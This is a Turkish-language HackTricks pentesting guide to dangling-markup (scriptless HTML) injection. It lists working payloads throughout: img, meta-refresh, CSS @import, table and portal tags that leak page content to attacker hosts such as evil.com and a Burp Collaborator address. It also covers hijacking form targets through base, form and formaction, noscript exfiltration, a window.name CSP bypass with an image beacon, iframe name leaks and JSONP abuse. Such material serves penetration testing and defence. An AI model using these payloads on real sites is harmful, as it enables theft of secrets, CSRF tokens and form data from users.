hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

13 KiB
Raw Blame History

Sarkan İşaretleme - HTML betiksiz enjeksiyon

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'i desteklemenin diğer yolları:

Özet

Bu teknik, bir HTML enjeksiyonu bulunduğunda bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, XSS bir yol bulamazsanız ancak bazı HTML etiketleri enjekte edebilirseniz çok yararlıdır.
Ayrıca, bazı gizli metinlerin açık metin olarak saklandığı durumlarda istemciden dışa aktarmak istiyorsanız veya bazı betik yürütme işlemlerini yanıltmak istiyorsanız da yararlıdır.

Burada yorumlanan çeşitli teknikler, beklenmeyen yollarla bilgi dışa aktararak bazı İçerik Güvenlik Politikası geçişlerini atlatmak için kullanılabilir (html etiketleri, CSS, http-meta etiketleri, formlar, base...).

Ana Uygulamalar

ık metin sırlarını çalmak

Sayfa yüklendiğinde <img src='http://evil.com/log.cgi? enjekte ettiğinizde, kurban enjekte edilen img etiketi ile kod arasındaki sonraki tırnak işareti içindeki tüm kodu size gönderecektir. Eğer bir sır o kısımda bulunuyorsa, onu çalacaksınız (aynı şeyi çift tırnak kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).

Eğer img etiketi yasaklanmışsa (örneğin CSP nedeniyle) ayrıca <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi? kullanabilirsiniz.

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Dikkat edin ki Chrome, içinde "<" veya "\n" bulunan HTTP URL'leri engeller, bu yüzden "ftp" gibi diğer protokol şemalarını deneyebilirsiniz.

Ayrıca CSS @import'i istismar edebilirsiniz (bir ";" bulana kadar tüm kodu gönderecektir)

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Ayrıca <table kullanabilirsiniz:

<table background='//your-collaborator-id.burpcollaborator.net?'

Ayrıca bir <base etiketi de ekleyebilirsiniz. Tüm bilgiler tırnak kapatılana kadar gönderilecektir ancak bazı kullanıcı etkileşimi gerektirir (kullanıcının bazı bağlantıya tıklaması gerekir, çünkü base etiketi bağlantının işaret ettiği alanı değiştirmiştir):

<base target='        <--- Injected
steal me'<b>test</b>

Formları Çalma

<base href='http://evil.com/'>

Sonra, verileri yollayan formlar (örneğin <form action='update_profile.php'>) verileri kötü niyetli alan adına gönderecektir.

Formları Çalma 2

Bir form başlığı ayarlayın: <form action='http://evil.com/log_steal'> bu, bir sonraki form başlığını üzerine yazacak ve formdaki tüm veriler saldırganın yanına gönderilecektir.

Formları Çalma 3

Düğme, "formaction" özniteliği ile formun bilgilerinin nereye gönderileceğini değiştirebilir:

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Bir saldırgan bunu bilgileri çalmak için kullanabilir.

Bu saldırının bir örneğini bu yazıda bulabilirsiniz.

ık metin sırlarını çalmak 2

En son bahsedilen teknik kullanılarak formları çalmak için (yeni bir form başlığı enjekte ederek) daha sonra yeni bir giriş alanı enjekte edebilirsiniz:

<input type='hidden' name='review_body' value="

Ve bu giriş alanı, HTML'deki çift tırnakları arasındaki tüm içeriği içerecektir. Bu saldırı, "ık metin sırlarını çalma" ile "Formlar2 çalma" yöntemlerini birleştirir.

Aynı şeyi bir form ve bir <option> etiketi enjekte ederek yapabilirsiniz. Kapanan bir </option> bulunana kadar tüm veriler gönderilecektir:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Form parametre enjeksiyonu

Bir formun yolunu değiştirebilir ve yeni değerler ekleyerek beklenmeyen bir eylemin gerçekleştirilmesini sağlayabilirsiniz:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Noscript kullanarak açık metin sırlarını çalmak

<noscript></noscript> Javascript'i desteklemeyen tarayıcılarda içeriği yorumlayan bir etikettir (Chrome'da Javascript'i chrome://settings/content/javascript adresinde etkinleştirebilir/devre dışı bırakabilirsiniz).

Enjeksiyon noktasından sayfanın altına kadar web sayfasının içeriğini saldırganın kontrol ettiği siteye sızdırmak için şunu enjekte etmek olacaktır:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Kullanıcı etkileşimi ile CSP'nin atlatılması

Bu portswiggers araştırmasından öğrenebileceğiniz gibi, en CSP kısıtlı ortamlardan bile bazı kullanıcı etkileşimi ile hala veri sızdırabilirsiniz. Bu durumda, şu yükü kullanacağız:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Not: Kurbanı, sizi kontrol ettiğiniz payload'a yönlendirecek bir bağlantıya tıklamaya davet edeceksiniz. Ayrıca, base etiketi içindeki target özniteliği bir sonraki tek tırnak işaretine kadar HTML içeriği içerecektir.
Bu, bağlantıya tıklandığında window.name'nin değerinin tüm HTML içeriği olacağı anlamına gelir. Dolayısıyla, bağlantıya tıklanarak erişilen sayfayı kontrol ettiğinizden, bu window.name'e erişebilir ve bu veriyi dışa aktarabilirsiniz:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Yanıltıcı betik iş akışı 1 - HTML ad alanı saldırısı

HTML içine, bir sonraki etiketi üzerine yazacak ve bir betiğin akışını etkileyecek bir değerle birlikte yeni bir etiket ekleyin. Bu örnekte, hangi bilginin paylaşılacağını seçiyorsunuz:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Yanıltıcı betik iş akışı 2 - Betik ad alanı saldırısı

HTML etiketleri ekleyerek javascript ad alanı içinde değişkenler oluşturun. Daha sonra bu değişken uygulamanın akışını etkileyecektir:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

JSONP'nin Kötüye Kullanımı

Eğer bir JSONP arayüzü bulursanız, herhangi bir fonksiyonu herhangi bir veri ile çağırabilirsiniz:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Ya da bazı JavaScript kodlarını çalıştırmayı deneyebilirsiniz:

<script src='/search?q=a&call=alert(1)'></script>

Iframe kötüye kullanımı

Bir alt belge, üst belgenin location özelliğini, hatta çapraz köken durumlarında bile görüntüleme ve değiştirme yeteneğine sahiptir. Bu, bir iframe içine gömülmüş bir betiği istemciyi keyfi bir sayfaya yönlendirebilecek şekilde izin verir:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

Bu, şöyle bir şeyle hafifletilebilir: sandbox=' allow-scripts allow-top-navigation'

Bir iframe, farklı bir sayfadan hassas bilgileri sızdırmak için de kötüye kullanılabilir iframe adı özniteliğini kullanarak. Bu, hassas bilgilerin iframe adı özniteliği içinde görünmesini sağlayan HTML enjeksiyonunu kötüye kullanarak kendini iframe'leyen bir iframe oluşturabileceğiniz için mümkündür ve ardından başlangıç iframe'inden o adı erişip sızdırabilirsiniz.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

Daha fazla bilgi için https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta kötüye kullanımı

meta http-equiv kullanarak bir Çerez ayarlamak gibi çeşitli eylemler gerçekleştirebilirsiniz: <meta http-equiv="Set-Cookie" Content="SESSID=1"> veya bir yönlendirme yapmak (bu durumda 5 saniye içinde): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Bu, http-equiv ile ilgili bir CSP ile önlenir (Content-Security-Policy: default-src 'self';, veya Content-Security-Policy: http-equiv 'self';)

Yeni <portal HTML etiketi

<portal etiketinin sömürülebilir zayıflıkları hakkında çok ilginç bir araştırma bulabilirsiniz burada.
Bu yazının yazıldığı sırada, Chrome'da chrome://flags/#enable-portals adresinde portal etiketini etkinleştirmeniz gerekmektedir, aksi takdirde çalışmayacaktır.

<portal src='https://attacker-server?

HTML Sızıntıları

HTML'de bağlantı sızdırmak için tüm yöntemler Dangling Markup için faydalı olmayabilir, ancak bazen yardımcı olabilir. Buradan kontrol edebilirsiniz: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Sızıntıları

Bu, dangling markup ve XS-Sızıntıları arasında bir karışım. Bir taraftan zafiyet, saldıracağımız sayfanın aynı kökenine ait bir sayfada HTML enjekte etmeye izin verir (ancak JS değil). Diğer taraftan, HTML enjekte edebileceğimiz sayfayı doğrudan saldırmayacağız, ancak başka bir sayfa.

{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}

XS-Arama/XS-Sızıntıları

XS-Arama, yan kanal saldırılarını kötüye kullanarak çapraz köken bilgilerini dışa çıkarmaya yöneliktir. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler HTML etiketlerinin dahil edilmesini (JS yürütmesiyle ve olmadan) kötüye kullanır, örneğin CSS Enjeksiyonu veya Gecikmeli Yükleme Resimler.

{% content-ref url="../xs-search/" %} xs-search {% endcontent-ref %}

Kaba Kuvvet Algılama Listesi

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

Referanslar